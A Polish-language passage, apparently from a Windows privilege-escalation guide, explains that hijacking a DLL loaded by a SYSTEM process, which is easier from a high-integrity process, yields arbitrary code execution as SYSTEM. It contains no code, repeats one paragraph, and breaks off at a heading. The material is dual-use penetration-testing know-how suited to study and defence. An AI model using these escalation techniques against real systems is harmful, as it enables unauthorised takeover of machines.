Jeśli chcesz przeczytać przykład [**jak przejść z wysokiej integralności do Systemu używając nazwanych rur, powinieneś to przeczytać**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Jeśli uda ci się **przechwycić dll** ładowany przez **proces** działający jako **SYSTEM**, będziesz w stanie wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny w tego rodzaju eskalacji uprawnień, a co więcej, jest **znacznie łatwiejszy do osiągnięcia z procesu o wysokiej integralności**, ponieważ będzie miał **uprawnienia do zapisu** w folderach używanych do ładowania dll.\
|
||||
Jeśli uda ci się **przechwycić dll** ładowany przez **proces** działający jako **SYSTEM**, będziesz mógł wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny w tego rodzaju eskalacji uprawnień, a co więcej, jest **znacznie łatwiejszy do osiągnięcia z procesu o wysokiej integralności**, ponieważ będzie miał **uprawnienia do zapisu** w folderach używanych do ładowania dll.\
|
||||
**Możesz** [**dowiedzieć się więcej o Dll hijacking tutaj**](dll-hijacking/index.html)**.**
|
||||
|
||||
### **Z Administratora lub Usługi Sieciowej do Systemu**
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user